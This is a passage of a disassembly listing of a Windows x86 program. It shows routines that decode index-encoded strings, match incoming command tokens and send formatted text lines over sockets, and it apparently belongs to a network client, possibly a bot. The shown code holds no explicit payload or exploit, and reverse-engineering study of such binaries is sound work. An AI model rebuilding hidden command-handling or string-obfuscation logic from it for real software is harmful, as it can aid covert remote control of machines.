		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+7Eh]
		mov	[esp+14h+var_4], 5
		call	sub_401226
		lea	ecx, [esi+69h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+54h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_411A50	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411B10	proc near		; CODE XREF: sub_4019D3j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_40196A
		test	[esp+4+arg_0], 1
		jz	short loc_411B28
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_411B28:				; CODE XREF: sub_411B10+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_411B10	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_411B40	proc near		; CODE XREF: sub_401A0Aj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_411B40
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		test	esi, esi
		jz	short loc_411B66
		lea	edi, [esi+11h]
		jmp	short loc_411B68
; ---------------------------------------------------------------------------


loc_411B66:				; CODE XREF: sub_411B40+1Fj
		xor	edi, edi


loc_411B68:				; CODE XREF: sub_411B40+24j
		push	0
		push	17h
		push	1
		push	12h
		push	4Fh
		lea	eax, [esp+5Ch+var_3C]
		push	9
		push	eax
		call	sub_4019B5
		add	esp, 1Ch
		push	edi
		mov	ecx, eax
		mov	[esp+4Ch+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+250h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
sub_411B40	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411BBC
		lea	ebx, [esi+11h]
		jmp	short loc_411BBE
; ---------------------------------------------------------------------------


loc_411BBC:				; CODE XREF: ___:00411BB5j
		xor	ebx, ebx


loc_411BBE:				; CODE XREF: ___:00411BBAj
		push	0
		push	14h
		push	3
		push	5
		push	0Eh
		push	0Eh
		push	0Fh
		push	3
		push	5
		push	12h
		push	4Fh
		lea	edx, [esp+38h]
		push	9
		push	edx
		call	sub_4019B5
		add	esp, 34h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+27Eh]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411C1B
		lea	ebx, [esi+11h]
		jmp	short loc_411C1D
; ---------------------------------------------------------------------------


loc_411C1B:				; CODE XREF: ___:00411C14j
		xor	ebx, ebx


loc_411C1D:				; CODE XREF: ___:00411C19j
		push	0
		push	14h
		push	12h
		push	1
		push	10h
		push	4Fh
		lea	ecx, [esp+24h]
		push	9
		push	ecx
		call	sub_4019B5
		add	esp, 20h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 2
		call	sub_4017E4
		lea	edx, [esi+1C6h]
		push	eax
		push	edx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411C70
		lea	ebx, [esi+11h]
		jmp	short loc_411C72
; ---------------------------------------------------------------------------


loc_411C70:				; CODE XREF: ___:00411C69j
		xor	ebx, ebx


loc_411C72:				; CODE XREF: ___:00411C6Ej
		push	0
		push	5
		push	4
		push	0Fh
		push	0Dh
		push	4Fh
		lea	eax, [esp+24h]
		push	9
		push	eax
		call	sub_4019B5
		add	esp, 20h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 3
		call	sub_4017E4
		lea	ecx, [esi+16Ah]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411CC5
		lea	ebx, [esi+11h]
		jmp	short loc_411CC7
; ---------------------------------------------------------------------------


loc_411CC5:				; CODE XREF: ___:00411CBEj
		xor	ebx, ebx


loc_411CC7:				; CODE XREF: ___:00411CC3j
		push	0
		push	7
		push	13h
		push	0Dh
		push	4Fh
		lea	edx, [esp+20h]
		push	9
		push	edx
		call	sub_4019B5
		add	esp, 1Ch
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 4
		call	sub_4017E4
		push	eax
		lea	eax, [esi+1F4h]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411D18
		lea	ebx, [esi+11h]
		jmp	short loc_411D1A
; ---------------------------------------------------------------------------


loc_411D18:				; CODE XREF: ___:00411D11j
		xor	ebx, ebx


loc_411D1A:				; CODE XREF: ___:00411D16j
		push	0
		push	5
		push	3
		push	9
		push	14h
		push	0Fh
		push	0Eh
		push	4Fh
		lea	ecx, [esp+2Ch]
		push	9
		push	ecx
		call	sub_4019B5
		add	esp, 28h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 5
		call	sub_4017E4
		lea	edx, [esi+0B2h]
		push	eax
		push	edx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411D71
		lea	ebx, [esi+11h]
		jmp	short loc_411D73
; ---------------------------------------------------------------------------


loc_411D71:				; CODE XREF: ___:00411D6Aj
		xor	ebx, ebx


loc_411D73:				; CODE XREF: ___:00411D6Fj
		push	0
		push	14h
		push	3
		push	5
		push	0Eh
		push	0Eh
		push	0Fh
		push	3
		push	13h
		push	9
		push	4
		push	4Fh
		lea	eax, [esp+3Ch]
		push	9
		push	eax
		call	sub_4019B5
		add	esp, 38h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 6
		call	sub_4017E4
		lea	ecx, [esi+56h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411DCF
		lea	ebx, [esi+11h]
		jmp	short loc_411DD1
; ---------------------------------------------------------------------------


loc_411DCF:				; CODE XREF: ___:00411DC8j
		xor	ebx, ebx


loc_411DD1:				; CODE XREF: ___:00411DCDj
		push	0
		push	14h
		push	13h
		push	0Fh
		push	8
		push	14h
		push	5
		push	7
		push	4Fh
		lea	edx, [esp+30h]
		push	9
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 7
		call	sub_4017E4
		push	eax
		lea	eax, [esi+10Eh]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411E2A
		lea	ebx, [esi+11h]
		jmp	short loc_411E2C
; ---------------------------------------------------------------------------


loc_411E2A:				; CODE XREF: ___:00411E23j
		xor	ebx, ebx


loc_411E2C:				; CODE XREF: ___:00411E28j
		push	0
		push	0Fh
		push	6
		push	0Eh
		push	9
		push	14h
		push	5
		push	0Eh
		push	4Fh
		lea	ecx, [esp+30h]
		push	9
		push	ecx
		call	sub_4019B5
		add	esp, 2Ch
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 8
		call	sub_4017E4
		lea	edx, [esi+198h]
		push	eax
		push	edx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411E85
		lea	ebx, [esi+11h]
		jmp	short loc_411E87
; ---------------------------------------------------------------------------


loc_411E85:				; CODE XREF: ___:00411E7Ej
		xor	ebx, ebx


loc_411E87:				; CODE XREF: ___:00411E83j
		push	0
		push	0Eh
		push	9
		push	0Fh
		push	0Ah
		push	4Fh
		lea	eax, [esp+3Ch]
		push	9
		push	eax
		call	sub_4019B5
		add	esp, 20h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 9
		call	sub_4017E4
		add	esi, 13Ch
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+44h], edi
		call	sub_401226
		mov	ecx, [esp+3Ch]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 0F0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411FE0	proc near		; CODE XREF: sub_401AB9j

var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_411FE0
		push	eax
		mov	large fs:0, esp
		sub	esp, 78h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+90h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+45h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jz	loc_412509
		lea	ecx, [edi+26Dh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jz	loc_412509
		lea	ecx, [edi+0A1h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4120E2
		push	offset asc_443600 ; " "
		lea	eax, [esp+98h+var_6C]
		push	2
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ebp, eax
		push	offset asc_443600 ; " "
		lea	ecx, [esp+98h+var_84]
		push	1
		xor	ebx, ebx
		push	ecx
		mov	ecx, esi
		mov	[esp+0A0h+var_4], ebx
		call	sub_4016AE
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 1
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		mov	edx, dword_447100
		push	eax
		push	edx
		add	edi, 0FFFFFFEFh
		push	offset dword_443CEC
		push	edi
		call	sub_401E0B
		add	esp, 14h
		lea	ecx, [esp+94h+var_84]
		mov	byte ptr [esp+94h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412532
; ---------------------------------------------------------------------------


loc_4120E2:				; CODE XREF: sub_411FE0+70j
		lea	ecx, [edi+187h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412159
		add	edi, 0FFFFFFEFh
		lea	eax, [esp+94h+var_6C]
		push	eax
		mov	ecx, edi
		call	sub_401D39
		mov	ecx, eax
		mov	[esp+94h+var_4], 2
		call	sub_4017E4
		push	eax
		push	offset aS	; "%s"
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	edi
		call	sub_401848
		add	esp, 18h
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412532
; ---------------------------------------------------------------------------


loc_412159:				; CODE XREF: sub_411FE0+117j
		lea	ecx, [edi+0FDh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_412214
		push	offset asc_443600 ; " "
		lea	eax, [esp+98h+var_6C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		push	eax
		lea	ecx, [edi+17h]
		mov	[esp+98h+var_4], 3
		call	sub_4018A2
		or	ebp, 0FFFFFFFFh
		lea	ecx, [esp+94h+var_6C]
		mov	ebx, eax
		mov	[esp+94h+var_4], ebp
		call	sub_401226
		test	ebx, ebx
		jz	loc_412532
		lea	ecx, [esp+94h+var_6C]
		add	edi, 0FFFFFFEFh
		push	ecx
		mov	ecx, edi
		call	sub_401D39
		mov	ecx, eax
		mov	[esp+94h+var_4], 4
		call	sub_4017E4
		push	eax
		push	offset aS	; "%s"
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	edi
		call	sub_401848
		add	esp, 18h
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], ebp
		call	sub_401226
		jmp	loc_412532
; ---------------------------------------------------------------------------


loc_412214:				; CODE XREF: sub_411FE0+18Ej
		lea	ecx, [edi+12Bh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4122BD
		push	offset asc_443600 ; " "
		lea	ecx, [esp+98h+var_84]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ebp, eax
		push	offset asc_443600 ; " "
		lea	edx, [esp+98h+var_6C]
		mov	ebx, 5
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+0A0h+var_4], ebx
		call	sub_4016AE
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 6
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		mov	eax, dword_447104
		push	eax
		add	edi, 0FFFFFFEFh
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	edi
		call	sub_401E0B
		add	esp, 14h
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+94h+var_84]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412532
; ---------------------------------------------------------------------------


loc_4122BD:				; CODE XREF: sub_411FE0+249j
		lea	ecx, [edi+1B5h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41232B
		push	offset asc_443600 ; " "
		lea	ecx, [esp+98h+var_6C]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+94h+var_4], 7
		call	sub_4017E4
		mov	edx, dword_447130
		push	eax
		push	edx
		add	edi, 0FFFFFFEFh
		push	offset aSS_0	; "%s %s\r\n"
		push	edi
		call	sub_401E0B
		add	esp, 10h
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412532
; ---------------------------------------------------------------------------


loc_41232B:				; CODE XREF: sub_411FE0+2F2j
		lea	ecx, [edi+23Fh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41238D
		lea	eax, [esp+94h+var_6C]
		push	9
		push	eax
		mov	ecx, esi
		call	sub_401E2E
		mov	ecx, eax
		mov	[esp+94h+var_4], 8
		call	sub_4017E4
		push	eax
		add	edi, 0FFFFFFEFh
		push	offset dword_443CE4
		push	edi
		call	sub_401E0B
		add	esp, 0Ch
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412532
; ---------------------------------------------------------------------------


loc_41238D:				; CODE XREF: sub_411FE0+360j
		lea	ecx, [edi+1E3h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41242D
		push	offset asc_443600 ; " "
		lea	ecx, [esp+98h+var_84]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ebp, eax
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+9Ch+var_6C]
		push	2
		push	edx
		mov	ecx, esi
		mov	[esp+0A4h+var_4], 9
		call	sub_4011EA
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 0Ah
		call	sub_4014D3
		push	eax
		mov	ecx, esi
		call	sub_4014D3
		xor	ebx, ebx
		push	eax
		push	ebx
		push	ebx
		lea	ecx, [edi-11h]
		call	sub_401118
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+94h+var_84]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412532
; ---------------------------------------------------------------------------


loc_41242D:				; CODE XREF: sub_411FE0+3C2j
		lea	ecx, [edi+159h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_412532
		push	offset asc_443600 ; " "
		lea	eax, [esp+98h+var_24]
		push	3
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ebp, eax
		push	offset asc_443600 ; " "
		lea	ecx, [esp+98h+var_3C]
		push	2
		push	ecx
		mov	ecx, esi
		mov	[esp+0A0h+var_4], 0Bh
		call	sub_4016AE
		mov	ebx, eax
		push	offset asc_443600 ; " "
		lea	edx, [esp+98h+var_54]
		push	1
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0A0h+var_4], 0Ch
		call	sub_4016AE
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 0Dh
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		mov	eax, dword_447134
		push	eax
		add	edi, 0FFFFFFEFh
		push	offset dword_443CD4
		push	edi
		call	sub_401E0B
		add	esp, 18h
		lea	ecx, [esp+94h+var_54]
		mov	byte ptr [esp+94h+var_4], 0Ch
		call	sub_401226
		lea	ecx, [esp+94h+var_3C]
		mov	byte ptr [esp+94h+var_4], 0Bh
		call	sub_401226
		lea	ecx, [esp+94h+var_24]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	short loc_412532
; ---------------------------------------------------------------------------


loc_412509:				; CODE XREF: sub_411FE0+3Aj
					; sub_411FE0+55j
		xor	ebx, ebx
		mov	[edi+0Fh], ebx
		mov	[edi+0Bh], ebx
		mov	[edi+5], bl
		mov	[edi+4], bl
		mov	ecx, [edi+7]
		push	ecx
		nop
		call	near ptr 71AB9639h
		mov	ecx, offset word_448C9E
		mov	dword ptr [edi+7], 0FFFFFFFFh
		call	sub_401537


loc_412532:				; CODE XREF: sub_411FE0+FDj
					; sub_411FE0+174j ...
		mov	ecx, [esp+94h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 84h
		retn	4
sub_411FE0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 160h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4126B0	proc near		; CODE XREF: sub_401D39j

var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4126B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 40h
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+50h+var_24]
		mov	[esp+50h+var_48], 0
		call	sub_401424
		xor	eax, eax
		lea	ecx, [esp+50h+var_4C]
		mov	[esp+50h+var_44], eax
		lea	edx, [esp+50h+var_44]
		mov	[esp+50h+var_40], eax
		push	ecx
		mov	[esp+54h+var_3C], eax
		push	edx
		mov	[esp+58h+var_38], eax
		mov	eax, [esi+18h]
		push	eax
		mov	[esp+5Ch+var_4], 1
		mov	[esp+5Ch+var_4C], 10h
		nop
		call	near ptr 71AB951Eh
		mov	ecx, [esp+50h+var_40+3]
		mov	edx, [esp+50h+var_40+2]
		mov	eax, [esp+50h+var_40+1]
		and	ecx, 0FFh
		push	ecx
		mov	ecx, [esp+54h+var_40]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		and	ecx, 0FFh
		push	eax
		push	ecx
		lea	edx, [esp+60h+var_34]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	edx
		call	sub_5EDAB2
		nop
		add	esp, 18h
		lea	ecx, [esp+50h+var_24]
		push	offset byte_446F70
		call	sub_4015D7
		push	offset dword_443D18
		lea	ecx, [esp+54h+var_24]
		call	sub_401A9B
		lea	eax, [esp+50h+var_34]
		lea	ecx, [esp+50h+var_24]
		push	eax
		call	sub_401A9B
		push	offset dword_443D14
		lea	ecx, [esp+54h+var_24]
		call	sub_401A9B
		add	esi, 28h
		lea	ecx, [esp+50h+var_24]
		push	esi
		call	sub_4016BD
		push	offset dword_443D14
		lea	ecx, [esp+54h+var_24]
		call	sub_401A9B
		lea	ecx, [esp+50h+var_34]
		push	ecx
		call	sub_401479
		add	esp, 4
		test	al, al
		jz	short loc_4127BB
		push	offset dword_443D08
		jmp	short loc_4127C0
; ---------------------------------------------------------------------------


loc_4127BB:				; CODE XREF: sub_4126B0+102j
		push	offset dword_443CFC


loc_4127C0:				; CODE XREF: sub_4126B0+109j
		lea	ecx, [esp+54h+var_24]
		call	sub_401A9B
		mov	esi, [esp+50h+arg_0]
		lea	edx, [esp+50h+var_24]
		push	edx
		mov	ecx, esi
		call	sub_4014C9
		mov	[esp+50h+var_48], 1
		lea	ecx, [esp+50h+var_24]
		mov	byte ptr [esp+50h+var_4], 0
		call	sub_401226
		mov	ecx, [esp+50h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 4Ch
		retn	4
sub_4126B0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412870	proc near		; CODE XREF: sub_401582j

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	eax, [esi+18h]
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	ebp
		push	eax
		nop
		call	near ptr 71AB428Ah
		mov	edx, eax
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		cmp	edx, ecx
		jnb	short loc_4128CE
		mov	[esi+16h], al
		mov	[esi+15h], al
		mov	eax, [esi+18h]
		push	eax
		call	near ptr 71AB9639h
		nop
		mov	ecx, offset word_448C9E
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		call	sub_401537
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_4128CE:				; CODE XREF: sub_412870+33j
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebp
		retn	4
sub_412870	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412900	proc near		; CODE XREF: sub_401E0Bj

arg_2000	= dword	ptr  2004h
arg_2004	= dword	ptr  2008h
arg_2008	= byte ptr  200Ch

		mov	eax, 2000h
		call	sub_436840
		mov	ecx, [esp+arg_2004]
		lea	eax, [esp+arg_2008]
		push	eax
		push	ecx
		lea	edx, [esp+8]
		push	2000h
		push	edx
		nop
		call	near ptr 77C3FF8Ah
		mov	ecx, [esp+10h+arg_2000]
		add	esp, 10h
		lea	eax, [esp+0]
		push	eax
		call	sub_401582
		add	esp, 2000h
		retn
sub_412900	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412970	proc near		; CODE XREF: sub_401118j

var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_412970
		push	eax
		mov	al, [esp+0Ch+arg_0]
		mov	large fs:0, esp
		sub	esp, 30h
		test	al, al
		push	esi
		mov	esi, ecx
		jz	short loc_4129A7
		xor	al, al
		pop	esi
		mov	ecx, [esp+3Ch+var_C]
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_4129A7:				; CODE XREF: sub_412970+21j
		lea	ecx, [esp+40h+var_3C]
		call	sub_401424
		mov	al, [esp+40h+arg_4]
		mov	[esp+40h+var_4], 0
		test	al, al
		jz	short loc_4129C8
		mov	eax, dword_447100
		push	eax
		jmp	short loc_4129CF
; ---------------------------------------------------------------------------


loc_4129C8:				; CODE XREF: sub_412970+4Ej
		mov	ecx, dword_447108
		push	ecx


loc_4129CF:				; CODE XREF: sub_412970+56j
		lea	ecx, [esp+44h+var_3C]
		call	sub_4015D7
		push	ebx
		lea	ecx, [esp+44h+var_24]
		call	sub_401424
		mov	edx, [esp+44h+arg_8]
		mov	eax, [esp+44h+arg_C]
		push	edx
		push	eax
		lea	ecx, [esp+4Ch+var_3C]
		mov	byte ptr [esp+4Ch+var_4], 1
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+50h+var_24]
		push	offset dword_443CEC
		push	ecx
		call	sub_40102D
		add	esp, 14h
		lea	ecx, [esp+44h+var_24]
		call	sub_4014D3
		push	eax
		mov	ecx, esi
		call	sub_401582
		lea	ecx, [esp+44h+var_24]
		mov	bl, al
		mov	byte ptr [esp+44h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+44h+var_3C]
		mov	[esp+44h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+44h+var_C]
		mov	al, bl
		pop	ebx
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn	10h
sub_412970	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412AA0	proc near		; CODE XREF: sub_401848j

arg_2000	= dword	ptr  2004h
arg_2004	= dword	ptr  2008h
arg_2008	= dword	ptr  200Ch
arg_200C	= dword	ptr  2010h
arg_2010	= dword	ptr  2014h
arg_2014	= byte ptr  2018h

		mov	eax, 2000h
		call	sub_436840
		mov	ecx, [esp+arg_2010]
		lea	eax, [esp+arg_2014]
		push	eax
		push	ecx
		lea	edx, [esp+8]
		push	2000h
		push	edx
		call	near ptr 77C3FF8Ah
		nop
		mov	eax, [esp+10h+arg_200C]
		mov	edx, [esp+10h+arg_2008]
		add	esp, 10h
		lea	ecx, [esp+0]
		push	eax
		mov	eax, [esp+4+arg_2004]
		push	ecx
		mov	ecx, [esp+8+arg_2000]
		push	edx
		push	eax
		call	sub_401118
		add	esp, 2000h
		retn
sub_412AA0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412B20	proc near		; CODE XREF: sub_401D0Cj
		push	esi
		mov	esi, ecx
		call	sub_401FB9
		mov	eax, [esi+1Ch]
		inc	eax
		mov	[esi+1Ch], eax
		pop	esi
		retn
sub_412B20	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412B50	proc near		; CODE XREF: sub_401FB9j
		push	esi
		mov	esi, ecx
		xor	al, al
		mov	[esi+16h], al
		mov	[esi+15h], al
		mov	eax, [esi+18h]
		push	eax
		nop
		call	near ptr 71AB9639h
		mov	ecx, offset word_448C9E
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		call	sub_401537
		pop	esi
		retn
sub_412B50	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412B90	proc near		; CODE XREF: sub_401721j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	dl, [ecx]
		xor	ecx, ecx
		mov	[eax], dl
		mov	[eax+4], ecx
		mov	[eax+8], ecx
		mov	[eax+0Ch], ecx
		retn	4
sub_412B90	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

